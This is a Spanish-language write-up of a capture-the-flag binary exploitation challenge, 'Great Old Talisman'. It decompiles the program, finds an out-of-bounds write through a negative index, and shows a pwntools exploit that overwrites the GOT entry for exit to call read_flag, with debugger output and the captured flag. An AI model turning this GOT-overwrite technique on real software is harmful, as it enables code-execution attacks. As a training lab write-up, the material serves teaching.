Great Old Talisman
4 minutos de lectura
Se nos proporciona un binario de 64 bits llamado great_old_talisman
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Ingeniería inversa
Si abrimos el binario en Ghidra, veremos este código fuente en C descompilado para la función main
:
void main() {
long in_FS_OFFSET;
int n;
undefined8 canary;
canary = *(undefined8 *) (in_FS_OFFSET + 0x28);
setup();
banner();
printf("\nThis Great Old Talisman will protect you from the evil powers of zombies!\n\nDo you want to enchant it with a powerful spell? (1 -> Yes, 0 -> No)\n\n>> ");
__isoc99_scanf("%d", &n);
printf("\nSpell: ");
read(0, talis + (long) n * 8, 2);
// WARNING: Subroutine does not return
exit(0x520);
}
La función es muy simple: pide un número entero n
(se supone que solo acepta 0
o 1
) y luego nos permite ingresar 2 bytes en talis + 8 * n
. La variable talis
es global, y después de eso, el programa llama a exit
.
Hay otra función en el binario que nunca se llama en el main
. Esta es read_flag
:
void read_flag() {
ssize_t ret;
long in_FS_OFFSET;
char c;
int fd;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
fd = open("./flag.txt", 0);
if (fd < 0) {
perror("\nError opening flag.txt, please contact an Administrator.\n");
// WARNING: Subroutine does not return
exit(1);
}
while (true) {
ret = read(fd, &c, 1);
if (ret < 1) break;
fputc((int) c, stdout);
}
close(fd);
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
// WARNING: Subroutine does not return
__stack_chk_fail();
}
}
Básicamente, abre el archivo flag.txt
y muestra la flag.
Estrategia de explotación
El objetivo del reto es llamar a read_flag
. Solo tenemos la capacidad de escribir 2 bytes a partir de un offset de talis
. Esto nos da una primitiva de escritura out-of-bounds (OOB). La idea es apuntar a la Tabla de Offsets Globales (GOT), donde las direcciones de las funciones externas se almacenan cuando se llaman dentro del programa. De lo contrario, hay una dirección a una rutina de resolución. Obsérvese que el nombre del reto hace referencia a la GOT.
Por lo tanto, la idea es modificar 2 bytes de la entrada de exit
en la GOT para que apunte a read_flag
. Como resultado, después de escribir 2 bytes, el programa llamará a exit
y ejecutará read_flag
en su lugar.
Depuración con GDB
Comencemos por depurar el programa en GDB:
$ gdb -q great_old_talisman
Reading symbols from great_old_talisman...
(No debugging symbols found in great_old_talisman)
gef➤ run
Starting program: ./great_old_talisman
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
|
|
|
|
|
___|___
.d$$$******$$$$c.
.d$P' '$$c
$$$$$. .$$$*$.
.$$ 4$L*$$. .$$Pd$ '$b
$F *$. '$$e.e$$' 4$F ^$b
d$ $$ z$$$e $$ '$.
$P `$L$$P` `'$$d$' $$
$$ e$$F 4$$b. $$
$b .$$' $$ .$$ '4$b. $$
$$e$P' $b d$` '$$c$F
'$P$$$$$$$$$$$$$$$$$$$$$$$$$$
'$c. 4$. $$ .$$
^$$. $$ d$' d$P
'$$c. `$b$F .d$P'
`4$$$c.$$$..e$$P'
`^^^^^^^`'
This Great Old Talisman will protect you from the evil powers of zombies!
Do you want to enchant it with a powerful spell? (1 -> Yes, 0 -> No)
>> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7d145f2 in __GI___libc_read (fd=0x0, buf=0x7ffff7e19b23 <_IO_2_1_stdin_+131>, nbytes=0x1) at ../sysdeps/unix/sysv/linux/read.c:26
26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
Echemos un vistazo a la dirección de talis
y la GOT:
gef➤ x/gx &talis
0x4040a0 <talis>: 0x0000000000402008
gef➤ got
GOT protection: Partial RelRO | GOT functions: 15
[0x404018] puts@GLIBC_2.2.5 → 0x7ffff7c80e50
[0x404020] __stack_chk_fail@GLIBC_2.4 → 0x401040
[0x404028] printf@GLIBC_2.2.5 → 0x7ffff7c606f0
[0x404030] alarm@GLIBC_2.2.5 → 0x7ffff7cea540
[0x404038] close@GLIBC_2.2.5 → 0x401070
[0x404040] fputc@GLIBC_2.2.5 → 0x401080
[0x404048] read@GLIBC_2.2.5 → 0x401090
[0x404050] srand@GLIBC_2.2.5 → 0x7ffff7c460a0
[0x404058] time@GLIBC_2.2.5 → 0x7ffff7fc1c60
[0x404060] setvbuf@GLIBC_2.2.5 → 0x7ffff7c815f0
[0x404068] open@GLIBC_2.2.5 → 0x4010d0
[0x404070] perror@GLIBC_2.2.5 → 0x4010e0
[0x404078] __isoc99_scanf@GLIBC_2.7 → 0x7ffff7c62090
[0x404080] exit@GLIBC_2.2.5 → 0x401100
[0x404088] rand@GLIBC_2.2.5 → 0x7ffff7c46760
Hay que darse cuenta de que talis
y las entradas de la GOT están muy cerca entre sí. De hecho, podemos calcular el offset relativo entre talis
y la entrada de exit
en la GOT:
gef➤ p/d 0x404080 - 0x4040a0
$1 = -32
gef➤ p/d (0x404080 - 0x4040a0) / sizeof(long)
$2 = -4
Observe que el desplazamiento está escalado por el tamaño de un long
(8 bytes), que es lo que aparece en el código fuente descompilado. Como resultado, necesitamos ingresar -4
para escribir en la entrada de exit
. Aquí, pondremos los últimos dos bytes de read_flag
.
Exploit
Este es el exploit final:
#!/usr/bin/env python3
from pwn import context, p16, remote, sys
context.binary = 'great_old_talisman'
def get_process():
if len(sys.argv) == 1:
return context.binary.process()
host, port = sys.argv[1].split(':')
return remote(host, port)
def main():
p = get_process()
p.sendlineafter(b'>> ', b'-4')
p.sendafter(b'Spell: ', p16(context.binary.sym.read_flag & 0xffff))
p.success(p.recvline().decode())
if __name__ == '__main__':
main()
Flag
Y aquí esta la flag:
$ python3 solve.py 94.237.63.93:34004
[*] './great_old_talisman'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to 94.237.63.93 on port 34004: Done
[+] HTB{th4nk_G0T_w3_h4v3_th15_t4l15m4n}
[*] Closed connection to 94.237.63.93 port 34004
El código del exploit completo está aquí: solve.py
.